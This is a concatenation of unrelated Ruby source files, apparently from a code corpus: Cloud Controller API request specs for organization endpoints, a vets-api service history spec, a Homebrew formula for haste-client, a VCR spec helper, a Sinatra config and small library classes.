let(:expected_codes_and_responses) do
h = Hash.new(
code: 200,
response_objects: [
shared_domain_json,
]
)
h['no_role'] = {
code: 404,
}
h.freeze
end
it_behaves_like 'permissions for list endpoint', ALL_PERMISSIONS
end
describe 'when filtering by organization_guid' do
let(:api_call) { lambda { |user_headers| get "/v3/organizations/#{org.guid}/domains?organization_guids=#{org.guid}", nil, user_headers } }
let(:expected_codes_and_responses) do
h = Hash.new(
code: 200,
response_objects: [
owned_private_domain_json,
]
)
h['org_billing_manager'] = {
code: 200,
response_objects: [],
}
h['no_role'] = {
code: 404,
}
h.freeze
end
it_behaves_like 'permissions for list endpoint', ALL_PERMISSIONS
end
end
describe 'when filtering by labels' do
let!(:domain1) { PrivateDomain.make(name: 'dom1.com', owning_organization: org) }
let!(:domain1_label) { DomainLabelModel.make(resource_guid: domain1.guid, key_name: 'animal', value: 'dog') }
let!(:domain2) { PrivateDomain.make(name: 'dom2.com', owning_organization: org) }
let!(:domain2_label) { DomainLabelModel.make(resource_guid: domain2.guid, key_name: 'animal', value: 'cow') }
let!(:domain2__exclusive_label) { DomainLabelModel.make(resource_guid: domain2.guid, key_name: 'santa', value: 'claus') }
let(:base_link) { "/v3/organizations/#{org.guid}/domains" }
let(:base_pagination_link) { "#{link_prefix}#{base_link}" }
let(:admin_header) { headers_for(user, scopes: %w(cloud_controller.admin)) }
it 'returns a 200 and the filtered apps for "in" label selector' do
get "#{base_link}?label_selector=animal in (dog)", nil, admin_header
parsed_response = MultiJson.load(last_response.body)
expected_pagination = {
'total_results' => 1,
'total_pages' => 1,
'first' => { 'href' => "#{base_pagination_link}?label_selector=animal+in+%28dog%29&page=1&per_page=50" },
'last' => { 'href' => "#{base_pagination_link}?label_selector=animal+in+%28dog%29&page=1&per_page=50" },
'next' => nil,
'previous' => nil
}
expect(last_response.status).to eq(200)
expect(parsed_response['resources'].map { |r| r['guid'] }).to contain_exactly(domain1.guid)
expect(parsed_response['pagination']).to eq(expected_pagination)
end
it 'returns a 200 and the filtered domains for "notin" label selector' do
get "#{base_link}?label_selector=animal notin (dog)", nil, admin_header
parsed_response = MultiJson.load(last_response.body)
expected_pagination = {
'total_results' => 1,
'total_pages' => 1,
'first' => { 'href' => "#{base_pagination_link}?label_selector=animal+notin+%28dog%29&page=1&per_page=50" },
'last' => { 'href' => "#{base_pagination_link}?label_selector=animal+notin+%28dog%29&page=1&per_page=50" },
'next' => nil,
'previous' => nil
}
expect(last_response.status).to eq(200)
expect(parsed_response['resources'].map { |r| r['guid'] }).to contain_exactly(domain2.guid)
expect(parsed_response['pagination']).to eq(expected_pagination)
end
it 'returns a 200 and the filtered domains for "=" label selector' do
get "#{base_link}?label_selector=animal=dog", nil, admin_header
parsed_response = MultiJson.load(last_response.body)
expected_pagination = {
'total_results' => 1,
'total_pages' => 1,
'first' => { 'href' => "#{base_pagination_link}?label_selector=animal%3Ddog&page=1&per_page=50" },
'last' => { 'href' => "#{base_pagination_link}?label_selector=animal%3Ddog&page=1&per_page=50" },
'next' => nil,
'previous' => nil
}
expect(last_response.status).to eq(200)
expect(parsed_response['resources'].map { |r| r['guid'] }).to contain_exactly(domain1.guid)
expect(parsed_response['pagination']).to eq(expected_pagination)
end
it 'returns a 200 and the filtered domains for "==" label selector' do
get "#{base_link}?label_selector=animal==dog", nil, admin_header
parsed_response = MultiJson.load(last_response.body)
expected_pagination = {
'total_results' => 1,
'total_pages' => 1,
'first' => { 'href' => "#{base_pagination_link}?label_selector=animal%3D%3Ddog&page=1&per_page=50" },
'last' => { 'href' => "#{base_pagination_link}?label_selector=animal%3D%3Ddog&page=1&per_page=50" },
'next' => nil,
'previous' => nil
}
expect(last_response.status).to eq(200)
expect(parsed_response['resources'].map { |r| r['guid'] }).to contain_exactly(domain1.guid)
expect(parsed_response['pagination']).to eq(expected_pagination)
end
it 'returns a 200 and the filtered domains for "!=" label selector' do
get "#{base_link}?label_selector=animal!=dog", nil, admin_header
parsed_response = MultiJson.load(last_response.body)
expected_pagination = {
'total_results' => 1,
'total_pages' => 1,
'first' => { 'href' => "#{base_pagination_link}?label_selector=animal%21%3Ddog&page=1&per_page=50" },
'last' => { 'href' => "#{base_pagination_link}?label_selector=animal%21%3Ddog&page=1&per_page=50" },
'next' => nil,
'previous' => nil
}
expect(last_response.status).to eq(200)
expect(parsed_response['resources'].map { |r| r['guid'] }).to contain_exactly(domain2.guid)
expect(parsed_response['pagination']).to eq(expected_pagination)
end
it 'returns a 200 and the filtered domains for "=" label selector' do
get "#{base_link}?label_selector=animal=cow,santa=claus", nil, admin_header
parsed_response = MultiJson.load(last_response.body)
expected_pagination = {
'total_results' => 1,
'total_pages' => 1,
'first' => { 'href' => "#{base_pagination_link}?label_selector=animal%3Dcow%2Csanta%3Dclaus&page=1&per_page=50" },
'last' => { 'href' => "#{base_pagination_link}?label_selector=animal%3Dcow%2Csanta%3Dclaus&page=1&per_page=50" },
'next' => nil,
'previous' => nil
}
expect(last_response.status).to eq(200)
expect(parsed_response['resources'].map { |r| r['guid'] }).to contain_exactly(domain2.guid)
expect(parsed_response['pagination']).to eq(expected_pagination)
end
it 'returns a 200 and the filtered domains for existence label selector' do
get "#{base_link}?label_selector=santa", nil, admin_header
parsed_response = MultiJson.load(last_response.body)
expected_pagination = {
'total_results' => 1,
'total_pages' => 1,
'first' => { 'href' => "#{base_pagination_link}?label_selector=santa&page=1&per_page=50" },
'last' => { 'href' => "#{base_pagination_link}?label_selector=santa&page=1&per_page=50" },
'next' => nil,
'previous' => nil
}
expect(last_response.status).to eq(200)
expect(parsed_response['resources'].map { |r| r['guid'] }).to contain_exactly(domain2.guid)
expect(parsed_response['pagination']).to eq(expected_pagination)
end
it 'returns a 200 and the filtered domains for non-existence label selector' do
get "#{base_link}?label_selector=!santa", nil, admin_header
parsed_response = MultiJson.load(last_response.body)
expected_pagination = {
'total_results' => 1,
'total_pages' => 1,
'first' => { 'href' => "#{base_pagination_link}?label_selector=%21santa&page=1&per_page=50" },
'last' => { 'href' => "#{base_pagination_link}?label_selector=%21santa&page=1&per_page=50" },
'next' => nil,
'previous' => nil
}
expect(last_response.status).to eq(200)
expect(parsed_response['resources'].map { |r| r['guid'] }).to contain_exactly(domain1.guid)
expect(parsed_response['pagination']).to eq(expected_pagination)
end
it 'returns a 400 when the label selector is missing a value' do
get "#{base_link}?label_selector", nil, admin_header
expect(last_response.status).to eq(400)
expect(parsed_response['errors'].first['detail']).to match(/Missing label_selector value/)
end
it "returns a 400 when the label selector's value is invalid" do
get "#{base_link}?label_selector=!", nil, admin_header
expect(last_response.status).to eq(400)
expect(parsed_response['errors'].first['detail']).to match(/Invalid label_selector value/)
end
end
end
describe 'GET /v3/organizations/:guid/domains/default' do
let(:space) { Space.make }
let(:org) { space.organization }
let(:api_call) { lambda { |user_headers| get "/v3/organizations/#{org.guid}/domains/default", nil, user_headers } }
context 'when the user is not logged in' do
it 'returns 401 for Unauthenticated requests' do
get "/v3/organizations/#{org.guid}/domains/default", nil, base_json_headers
expect(last_response.status).to eq(401)
end
end
context 'when the user does not have the required scopes' do
let(:user_header) { headers_for(user, scopes: []) }
it 'returns a 403' do
get "/v3/organizations/#{org.guid}/domains/default", nil, user_header
expect(last_response.status).to eq(403)
end
end
context 'when domains exist' do
let!(:internal_domain) { SharedDomain.make(internal: true) } # used to ensure internal domains do not get returned in any case
let!(:tcp_domain) { SharedDomain.make(router_group_guid: 'default-tcp') }
let(:expected_codes_and_responses) do
h = Hash.new(
code: 200,
response_object: domain_json
)
h['no_role'] = { code: 404 }
h.freeze
end
let(:shared_private_domain) { PrivateDomain.make(owning_organization_guid: organization1.guid) }
let(:owned_private_domain) { PrivateDomain.make(owning_organization_guid: org.guid) }
before do
org.add_private_domain(shared_private_domain)
owned_private_domain # trigger the let in order (after shared_private_domain)
end
context 'when at least one private domain exists' do
let(:expected_codes_and_responses) do
h = Hash.new(
code: 200,
response_object: domain_json
)
h['org_billing_manager'] = { code: 404 }
h['no_role'] = { code: 404 }
h.freeze
end
let(:domain_json) do
{
guid: shared_private_domain.guid,
created_at: iso8601,
updated_at: iso8601,
name: shared_private_domain.name,
internal: false,
router_group: nil,
supported_protocols: ['http'],
metadata: {
labels: {},
annotations: {}
},
relationships: {
organization: {
data: { guid: organization1.guid }
},
shared_organizations: {
data: [
{ guid: org.guid }
]
}
},
links: {
self: { href: %r(#{Regexp.escape(link_prefix)}\/v3\/domains\/#{UUID_REGEX}) },
organization: { href: %r(#{Regexp.escape(link_prefix)}\/v3\/organizations\/#{organization1.guid}) },
route_reservations: { href: %r(#{Regexp.escape(link_prefix)}\/v3/domains/#{shared_private_domain.guid}/route_reservations) },
shared_organizations: { href: %r(#{Regexp.escape(link_prefix)}\/v3\/domains\/#{shared_private_domain.guid}/relationships/shared_organizations) }
}
}
end
it_behaves_like 'permissions for single object endpoint', ALL_PERMISSIONS
end
context 'when at least one non-internal shared domain exists' do
let!(:shared_domain) { SharedDomain.make }
let(:domain_json) do
{
guid: shared_domain.guid,
created_at: iso8601,
updated_at: iso8601,
name: shared_domain.name,
internal: false,
router_group: nil,
supported_protocols: ['http'],
metadata: {
labels: {},
annotations: {}
},
relationships: {
organization: {
data: nil
},
shared_organizations: {
data: []
}
},
links: {
self: { href: %r(#{Regexp.escape(link_prefix)}\/v3\/domains\/#{UUID_REGEX}) },
route_reservations: { href: %r(#{Regexp.escape(link_prefix)}\/v3/domains/#{UUID_REGEX}/route_reservations) },
}
}
end
it_behaves_like 'permissions for single object endpoint', ALL_PERMISSIONS
end
end
context 'when only internal domains exist' do
let!(:internal_domain) { SharedDomain.make(internal: true) } # used to ensure internal domains do not get returned in any case
let(:expected_codes_and_responses) do
h = Hash.new(
code: 404,
)
h.freeze
end
it_behaves_like 'permissions for single object endpoint', ALL_PERMISSIONS
end
context 'when only tcp domains exist' do
let!(:tcp_domain) { SharedDomain.make(router_group_guid: 'default-tcp') }
let(:expected_codes_and_responses) do
h = Hash.new(
code: 404,
)
h.freeze
end
it_behaves_like 'permissions for single object endpoint', ALL_PERMISSIONS
end
context 'when no domains exist' do
let(:expected_codes_and_responses) do
h = Hash.new(
code: 404,
)
h.freeze
end
it_behaves_like 'permissions for single object endpoint', ALL_PERMISSIONS
end
end
describe 'GET /v3/organizations/:guid/usage_summary' do
let!(:org) { Organization.make }
let!(:space) { Space.make(organization: org) }
let!(:app1) { AppModel.make(space: space) }
let!(:app2) { AppModel.make(space: space) }
let!(:process1) { ProcessModel.make(:process, state: 'STARTED', app: app1, type: 'web', memory: 101) }
let!(:process2) { ProcessModel.make(:process, state: 'STARTED', app: app1, type: 'web', memory: 102, instances: 2) }
before do
ProcessModelFactory.make(space: space, memory: 200, instances: 2, state: 'STARTED', type: 'worker')
end
let(:api_call) { lambda { |user_headers| get "/v3/organizations/#{org.guid}/usage_summary", nil, user_headers } }
let(:org_summary_json) do
{
usage_summary: {
started_instances: 5,
memory_in_mb: 705 # (tasks: 200 * 2) + (processes: 101 + 2 * 102)
},
links: {
self: { href: %r(#{Regexp.escape(link_prefix)}\/v3\/organizations\/#{org.guid}\/usage_summary) },
organization: { href: %r(#{Regexp.escape(link_prefix)}\/v3\/organizations\/#{org.guid}) }
}
}
end
let(:expected_codes_and_responses) do
h = Hash.new(
code: 200,
response_object: org_summary_json
)
h['no_role'] = { code: 404 }
h.freeze
end
it_behaves_like 'permissions for single object endpoint', ALL_PERMISSIONS
context 'when the org does not exist' do
it 'returns a 404' do
get '/v3/organizations/bad-guid/usage_summary', {}, admin_header
expect(last_response).to have_status_code(404)
end
end
context 'when the user cannot read from the org' do
let(:user) { set_current_user(VCAP::CloudController::User.make) }
before do
stub_readable_org_guids_for(user, [])
end
it 'returns a 404' do
get '/v3/organizations/bad-guid/usage_summary', {}, headers_for(user)
expect(last_response).to have_status_code(404)
end
end
end
describe 'PATCH /v3/organizations/:guid/relationships/default_isolation_segment' do
let(:isolation_segment) { IsolationSegmentModel.make(name: 'default_seg') }
let(:update_request) do
{
data: { guid: isolation_segment.guid }
}.to_json
end
let(:assigner) { IsolationSegmentAssign.new }
before do
set_current_user(user, { admin: true })
allow_user_read_access_for(user, orgs: [organization1])
assigner.assign(isolation_segment, [organization1])
end
it 'updates the default isolation segment for the organization' do
expect(organization1.default_isolation_segment_guid).to be_nil
patch "/v3/organizations/#{organization1.guid}/relationships/default_isolation_segment", update_request, admin_headers_for(user).merge('CONTENT_TYPE' => 'application/json')
expected_response = {
'data' => {
'guid' => isolation_segment.guid
},
'links' => {
'self' => { 'href' => "#{link_prefix}/v3/organizations/#{organization1.guid}/relationships/default_isolation_segment" },
'related' => { 'href' => "#{link_prefix}/v3/isolation_segments/#{isolation_segment.guid}" },
}
}
parsed_response = MultiJson.load(last_response.body)
expect(last_response.status).to eq(200)
expect(parsed_response).to be_a_response_like(expected_response)
organization1.reload
expect(organization1.default_isolation_segment_guid).to eq(isolation_segment.guid)
end
end
describe 'PATCH /v3/organizations/:guid' do
before do
set_current_user(user, { admin: true })
allow_user_read_access_for(user, orgs: [organization1])
end
it 'updates the name for the organization' do
update_request = {
name: 'New Name World',
metadata: {
labels: {
freaky: 'thursday'
},
annotations: {
quality: 'p sus'
}
},
}.to_json
patch "/v3/organizations/#{organization1.guid}", update_request, admin_headers_for(user).merge('CONTENT_TYPE' => 'application/json')
expected_response = {
'name' => 'New Name World',
'guid' => organization1.guid,
'relationships' => { 'quota' => { 'data' => { 'guid' => organization1.quota_definition.guid } } },
'links' => {
'self' => { 'href' => "http://api2.vcap.me/v3/organizations/#{organization1.guid}" },
'domains' => { 'href' => "http://api2.vcap.me/v3/organizations/#{organization1.guid}/domains" },
'default_domain' => { 'href' => "http://api2.vcap.me/v3/organizations/#{organization1.guid}/domains/default" },
'quota' => { 'href' => "http://api2.vcap.me/v3/organization_quotas/#{organization1.quota_definition.guid}" }
},
'created_at' => iso8601,
'updated_at' => iso8601,
'metadata' => {
'labels' => { 'freaky' => 'thursday' },
'annotations' => { 'quality' => 'p sus' }
},
'suspended' => false
}
parsed_response = MultiJson.load(last_response.body)
expect(last_response.status).to eq(200)
expect(parsed_response).to be_a_response_like(expected_response)
organization1.reload
expect(organization1.name).to eq('New Name World')
end
context 'when the new name is already taken' do
before do
Organization.make(name: 'new-name')
end
it 'returns a 422 with a helpful error message' do
update_request = { name: 'new-name' }.to_json
expect {
patch "/v3/organizations/#{organization1.guid}", update_request, admin_headers_for(user).merge('CONTENT_TYPE' => 'application/json')
}.not_to change { organization1.reload.name }
expect(last_response.status).to eq(422)
expect(last_response).to have_error_message("Organization name 'new-name' is already taken.")
end
end
it 'updates the suspended field for the organization' do
update_request = {
name: 'New Name World',
suspended: true,
}.to_json
patch "/v3/organizations/#{organization1.guid}", update_request, admin_headers_for(user).merge('CONTENT_TYPE' => 'application/json')
expected_response = {
'name' => 'New Name World',
'guid' => organization1.guid,
'relationships' => { 'quota' => { 'data' => { 'guid' => organization1.quota_definition.guid } } },
'links' => {
'self' => { 'href' => "http://api2.vcap.me/v3/organizations/#{organization1.guid}" },
'domains' => { 'href' => "http://api2.vcap.me/v3/organizations/#{organization1.guid}/domains" },
'default_domain' => { 'href' => "http://api2.vcap.me/v3/organizations/#{organization1.guid}/domains/default" },
'quota' => { 'href' => "http://api2.vcap.me/v3/organization_quotas/#{organization1.quota_definition.guid}" }
},
'created_at' => iso8601,
'updated_at' => iso8601,
'metadata' => { 'labels' => {}, 'annotations' => {} },
'suspended' => true
}
parsed_response = MultiJson.load(last_response.body)
expect(last_response.status).to eq(200)
expect(parsed_response).to be_a_response_like(expected_response)
organization1.reload
expect(organization1.name).to eq('New Name World')
expect(organization1).to be_suspended
end
context 'deleting labels' do
let!(:org1Fruit) { OrganizationLabelModel.make(key_name: 'fruit', value: 'strawberry', organization: organization1) }
let!(:org1Animal) { OrganizationLabelModel.make(key_name: 'animal', value: 'horse', organization: organization1) }
let(:update_request) do
{
metadata: {
labels: {
fruit: nil
}
},
}.to_json
end
it 'updates the label metadata' do
patch "/v3/organizations/#{organization1.guid}", update_request, admin_headers_for(user).merge('CONTENT_TYPE' => 'application/json')
expected_response = {
'name' => organization1.name,
'guid' => organization1.guid,
'relationships' => { 'quota' => { 'data' => { 'guid' => organization1.quota_definition.guid } } },
'links' => {
'self' => { 'href' => "http://api2.vcap.me/v3/organizations/#{organization1.guid}" },
'domains' => { 'href' => "http://api2.vcap.me/v3/organizations/#{organization1.guid}/domains" },
'default_domain' => { 'href' => "http://api2.vcap.me/v3/organizations/#{organization1.guid}/domains/default" },
'quota' => { 'href' => "http://api2.vcap.me/v3/organization_quotas/#{organization1.quota_definition.guid}" }
},
'created_at' => iso8601,
'updated_at' => iso8601,
'metadata' => {
'labels' => { 'animal' => 'horse' },
'annotations' => {}
},
'suspended' => false
}
parsed_response = MultiJson.load(last_response.body)
expect(last_response.status).to eq(200)
expect(parsed_response).to be_a_response_like(expected_response)
end
end
end
describe 'DELETE /v3/organizations/:guid' do
let(:space) { Space.make }
let(:org) { space.organization }
let(:associated_user) { User.make(default_space: space) }
let(:shared_service_instance) do
s = ServiceInstance.make
s.add_shared_space(space)
s
end
let(:kpack_client) { instance_double(Kubernetes::KpackClient, delete_image: nil) }
before do
allow(CloudController::DependencyLocator.instance).to receive(:kpack_client).and_return(kpack_client)
AppModel.make(space: space)
Route.make(space: space)
org.add_user(associated_user)
space.add_developer(associated_user)
ServiceInstance.make(space: space)
ServiceBroker.make(space: space)
end
it 'destroys the requested organization and sub resources (spaces)' do
expect {
delete "/v3/organizations/#{org.guid}", nil, admin_header
expect(last_response.status).to eq(202)
expect(last_response.headers['Location']).to match(%r(http.+/v3/jobs/[a-fA-F0-9-]+))
execute_all_jobs(expected_successes: 2, expected_failures: 0)
get "/v3/organizations/#{org.guid}", {}, admin_headers
expect(last_response.status).to eq(404)
get "/v3/spaces/#{space.guid}", {}, admin_headers
expect(last_response.status).to eq(404)
}.to change { Organization.count }.by(-1).
and change { Space.count }.by(-1).
and change { AppModel.count }.by(-1).
and change { Route.count }.by(-1).
and change { associated_user.reload.default_space }.to(be_nil).
and change { associated_user.reload.spaces }.to(be_empty).
and change { ServiceInstance.count }.by(-1).
and change { ServiceBroker.count }.by(-1).
and change { shared_service_instance.reload.shared_spaces }.to(be_empty)
end
context 'deleting metadata' do
it_behaves_like 'resource with metadata' do
let(:resource) { org }
let(:api_call) do
-> { delete "/v3/organizations/#{org.guid}", nil, admin_header }
end
end
end
let(:api_call) { lambda { |user_headers| delete "/v3/organizations/#{org.guid}", nil, user_headers } }
let(:db_check) do
lambda do
expect(last_response.headers['Location']).to match(%r(http.+/v3/jobs/[a-fA-F0-9-]+))
execute_all_jobs(expected_successes: 2, expected_failures: 0)
last_job = VCAP::CloudController::PollableJobModel.last
expect(last_response.headers['Location']).to match(%r(/v3/jobs/#{last_job.guid}))
expect(last_job.resource_type).to eq('organization')
get "/v3/organizations/#{org.guid}", {}, admin_headers
expect(last_response.status).to eq(404)
end
end
context 'when the user is a member in the org' do
let(:expected_codes_and_responses) do
h = Hash.new(code: 403)
h['admin'] = { code: 202 }
h['no_role'] = { code: 404 }
h
end
it_behaves_like 'permissions for delete endpoint', ALL_PERMISSIONS
end
describe 'when the user is not logged in' do
it 'returns 401 for Unauthenticated requests' do
delete "/v3/organizations/#{org.guid}", nil, base_json_headers
expect(last_response.status).to eq(401)
end
end
describe 'when there is a shared private domain' do
let!(:shared_private_domain) { PrivateDomain.make(owning_organization_guid: org.guid, guid: 'shared-private', shared_organization_guids: [organization1.guid]) }
it 'returns a 202' do
delete "/v3/organizations/#{org.guid}", nil, admin_headers
expect(last_response.status).to eq(202)
expect(last_response.headers['Location']).to match(%r(http.+/v3/jobs/[a-fA-F0-9-]+))
# ::OrganizationDelete should fail and ::V3::BuildpackCacheDelete should succeed
execute_all_jobs(expected_successes: 1, expected_failures: 1)
job_url = last_response.headers['Location']
get job_url, {}, admin_headers
expect(last_response.status).to eq(200)
expect(parsed_response['state']).to eq('FAILED')
expect(parsed_response['errors'].size).to eq(1)
expect(parsed_response['errors'].first['detail']).to eq(
"Deletion of organization #{org.name} failed because one or more resources " \
"within could not be deleted.\n\nDomain '#{shared_private_domain.name}' is " \
'shared with other organizations. Unshare before deleting.'
)
end
end
end
end
end
| 40.232085 | 180 | 0.563162 |
87b54a9816a117b08c93fb771027158f6be79e16 | 2,786 | # frozen_string_literal: true
require 'rails_helper'
RSpec.describe 'Service History API endpoint', type: :request, skip_emis: true do
include SchemaMatchers
let(:token) { 'token' }
let(:jwt) do
[{
'ver' => 1,
'jti' => 'AT.04f_GBSkMkWYbLgG5joGNlApqUthsZnYXhiyPc_5KZ0',
'iss' => 'https://example.com/oauth2/default',
'aud' => 'api://default',
'iat' => Time.current.utc.to_i,
'exp' => Time.current.utc.to_i + 3600,
'cid' => '0oa1c01m77heEXUZt2p7',
'uid' => '00u1zlqhuo3yLa2Xs2p7',
'scp' => %w[profile email openid service_history.read],
'sub' => 'ae9ff5f4e4b741389904087d94cd19b2'
}, {
'kid' => '1Z0tNc4Hxs_n7ySgwb6YT8JgWpq0wezqupEg136FZHU',
'alg' => 'RS256'
}]
end
let(:auth_header) { { 'Authorization' => "Bearer #{token}" } }
let(:user) { build(:user, :loa3) }
before(:each) do
allow(JWT).to receive(:decode).and_return(jwt)
Session.create(uuid: user.uuid, token: token)
User.create(user)
end
context 'with valid emis responses' do
it 'should return the current users service history with one episode' do
with_okta_configured do
VCR.use_cassette('emis/get_deployment/valid') do
VCR.use_cassette('emis/get_military_service_episodes/valid') do
get '/services/veteran_verification/v0/service_history', nil, auth_header
expect(response).to have_http_status(:ok)
expect(response.body).to be_a(String)
expect(response).to match_response_schema('service_and_deployment_history_response')
end
end
end
end
it 'should return the current users service history with multiple episodes' do
with_okta_configured do
VCR.use_cassette('emis/get_deployment/valid') do
VCR.use_cassette('emis/get_military_service_episodes/valid_multiple_episodes') do
get '/services/veteran_verification/v0/service_history', nil, auth_header
expect(response).to have_http_status(:ok)
expect(response.body).to be_a(String)
expect(JSON.parse(response.body)['data'].length).to eq(2)
expect(response).to match_response_schema('service_and_deployment_history_response')
end
end
end
end
end
context 'when emis response is invalid' do
before do
allow(EMISRedis::MilitaryInformation).to receive_message_chain(:for_user, :service_history) { nil }
end
it 'should match the errors schema', :aggregate_failures do
with_okta_configured do
get '/services/veteran_verification/v0/service_history', nil, auth_header
end
expect(response).to have_http_status(:bad_gateway)
expect(response).to match_response_schema('errors')
end
end
end
| 35.265823 | 105 | 0.669777 |
21e5c7e38fa0cc611b9b0c185961de337404b43b | 370 | require 'sanatio/skippable'
module Sanatio
class BlockValidator
include Skippable
def initialize(validation_block)
@validation_block = validation_block
end
def valid?(object)
object.instance_eval(&@validation_block)
end
def reason=(reason)
@reason = reason
end
def reason(object)
@reason
end
end
end
| 14.8 | 46 | 0.667568 |
03dfa7066321f3ed8d3d7cc808ca55470896dea6 | 1,990 | class HasteClient < Formula
desc "CLI client for haste-server"
homepage "https://hastebin.com/"
head "https://github.com/seejohnrun/haste-client.git"
stable do
url "https://github.com/seejohnrun/haste-client/archive/v0.2.3.tar.gz"
sha256 "becbc13c964bb88841a440db4daff8e535e49cc03df7e1eddf16f95e2696cbaf"
# Remove for > 0.2.3
# Upstream commit from 19 Jul 2017 "Bump version to 0.2.3"
patch do
url "https://github.com/seejohnrun/haste-client/commit/1037d89.patch?full_index=1"
sha256 "1e9c47f35c65f253fd762c673b7677921b333c02d2c4e4ae5f182fcd6a5747c6"
end
end
bottle do
cellar :any_skip_relocation
sha256 "b7b70e6a090bc14e4ec5bb634f7b30778d92a555e421181840139a32a8a7e056" => :high_sierra
sha256 "821e18033eebddc3a0ef8ae93ff675aa1407addaff6b228639a17351acd27da8" => :sierra
sha256 "3189295fb6df33a604a3f1bb8a556853fcdfc7a66bcf7183f3bc6a95305155bf" => :el_capitan
sha256 "6feb00bfc1cf9387929d554acf24c92df081584396a072c9cfb265cbbe8b0e54" => :yosemite
end
depends_on :ruby => "2.3"
resource "faraday" do
url "https://rubygems.org/gems/faraday-0.12.2.gem"
sha256 "6299046a78613ce330b67060e648a132ba7cca4f0ea769bc1d2bbcb22a23ec94"
end
resource "multipart-post" do
url "https://rubygems.org/gems/multipart-post-2.0.0.gem"
sha256 "3dc44e50d3df3d42da2b86272c568fd7b75c928d8af3cc5f9834e2e5d9586026"
end
def install
ENV["GEM_HOME"] = libexec
resources.each do |r|
r.verify_download_integrity(r.fetch)
system "gem", "install", r.cached_download, "--no-document",
"--install-dir", libexec
end
system "gem", "build", "haste.gemspec"
system "gem", "install", "--ignore-dependencies", "haste-#{version}.gem"
bin.install libexec/"bin/haste"
bin.env_script_all_files(libexec/"bin", :GEM_HOME => ENV["GEM_HOME"])
end
test do
output = pipe_output("#{bin}/haste", "testing", 0)
assert_match(%r{^https://hastebin\.com/.+}, output)
end
end
| 35.535714 | 93 | 0.732663 |
08e380d2fc5665531504f31f766d2cc14f8b3c4d | 1,815 | require 'rubygems'
require 'simplecov'
SimpleCov.start do
add_filter "/spec"
add_filter "/features"
# internet_connection mostly contains logic copied from the ruby 1.8.7
# stdlib for which I haven't written tests.
add_filter "internet_connection"
end
SimpleCov.at_exit do
File.open(File.join(SimpleCov.coverage_path, 'coverage_percent.txt'), 'w') do |f|
f.write SimpleCov.result.covered_percent
end
SimpleCov.result.format!
end
using_git = File.exist?(File.expand_path('../../.git/', __FILE__))
if using_git
require 'bundler'
Bundler.setup
end
require 'rspec'
Dir['./spec/support/**/*.rb'].each { |f| require f }
require 'vcr'
require 'monkey_patches'
module VCR
SPEC_ROOT = File.dirname(__FILE__)
def reset!(hook = :fakeweb)
instance_variables.each do |ivar|
instance_variable_set(ivar, nil)
end
configuration.hook_into hook if hook
end
end
RSpec.configure do |config|
config.order = :rand
config.color_enabled = true
config.debug = (using_git && RUBY_INTERPRETER == :mri && !%w[ 1.9.3 ].include?(RUBY_VERSION) && !ENV['CI'])
config.treat_symbols_as_metadata_keys_with_true_values = true
tmp_dir = File.expand_path('../../tmp/cassette_library_dir', __FILE__)
config.before(:each, :skip_vcr_reset => lambda { |v| v != true }) do
VCR.reset!
VCR.configuration.cassette_library_dir = tmp_dir
end
config.after(:each) do
FileUtils.rm_rf tmp_dir
end
config.before(:all, :disable_warnings => true) do
@orig_std_err = $stderr
$stderr = StringIO.new
end
config.after(:all, :disable_warnings => true) do
$stderr = @orig_std_err
end
config.filter_run :focus => true
config.run_all_when_everything_filtered = true
config.alias_it_should_behave_like_to :it_performs, 'it performs'
end
VCR::SinatraApp.boot
| 23.881579 | 109 | 0.719008 |
330034a97dc0991f60b11a6576ff827b66b29cfb | 667 | class SitemapGeneratePeriodicJob < ApplicationJob
def perform
setup
generate
ping_search_engines
end
private
def setup
# require inline so it's not loaded in web environment
require "sitemap_generator"
require "aws-sdk"
SitemapGenerator::Sitemap.adapter = SitemapGenerator::AwsSdkAdapter.new(Rails.application.credentials[Rails.env.to_sym][:SITEMAP_S3_BUCKET])
SitemapGenerator.verbose = true
end
def generate
SitemapGenerator::Interpreter.run
end
def ping_search_engines
SitemapGenerator::Sitemap.ping_search_engines if Rails.application.credentials[Rails.env.to_sym][:SITEMAP_PING].present?
end
end
| 22.233333 | 144 | 0.766117 |
ff54bca67f4bae7c0bd53289cbe30805607585b4 | 498 | #!/usr/bin/env ruby
require 'yaml'
class Quote
def initialize(q, book)
@q = q
@book = book
end
def display
puts "\"#{@q['content']}\""
puts "\nFrom page #{@q['page']} of \"#{@book['title']}\" by #{@book['author']}."
end
end
books = YAML.load_file('data/finished.yaml')
quotes = []
books.each { |book|
if book.has_key?('quotes')
book['quotes'].each { |quote|
quotes.push(Quote.new(quote, book))
}
end
}
randomQuote = quotes.sample
randomQuote.display
| 16.6 | 84 | 0.594378 |
ff9012cb02c963c8be262a42ef50ad4fda878e82 | 311 | class ChangeSoundLocationData < ActiveRecord::Migration[5.2]
def change
change_table :sounds do |s|
s.change :latitude, :float, default: 0, null: false
s.change :longitude, :float, default: 0, null: false
end
add_column :sounds, :file_name, :string, default: "", null: false
end
end
| 31.1 | 69 | 0.681672 |
e9bfd997716a897668bc73e61c8f45c9fefe9f65 | 1,735 | # Specify gemfile Location and general variables
ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
# Perform requiring gem that we need
######################################################################
# basic
require 'rubygems'
require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE'])
require 'pathname'
# database
require 'pg'
require 'active_record'
require 'logger'
# sinatra
require 'sinatra'
require "sinatra/reloader" if development?
require 'will_paginate'
require 'will_paginate/active_record'
# embedded ruby
require 'erb'
require 'uri'
######################################################################
# System Setup
######################################################################
# Setup app root folder and name
APP_ROOT = Pathname.new(File.expand_path('../../../', __FILE__))
APP_NAME = APP_ROOT.basename.to_s
# Setup sessions, logging and dump_errors
use Rack::Session::Cookie, expire_after: ENV['SESSION_EXPIRE'] || 2592000, # seconds
secret: ENV['SESSION_SECRET'] || 'this is a secret shhhhh',
logging: true,
dump_errors: false,
app_file: __FILE__
# Setup assets folder
set :public_folder, 'public'
# Setup Models (M) and its database
require APP_ROOT.join('config', 'database')
# Setup views (V)
set :views, File.join(APP_ROOT, "app", "views")
set :erb, layout: :'layouts/application'
# Setup helper (H)
Dir[APP_ROOT.join('app', 'helpers', '*.rb')].each { |file| require file }
# Setup controller (C)
Dir[APP_ROOT.join('app', 'controllers', '*.rb')].each { |file| require file }
###################################################################### | 30.438596 | 86 | 0.561383 |
031d357219715360176763313653b29d99bde75c | 497 | # frozen_string_literal: true
module Types
module Packages
module Pypi
class MetadatumType < BaseObject
graphql_name 'PypiMetadata'
description 'Pypi metadata'
authorize :read_package
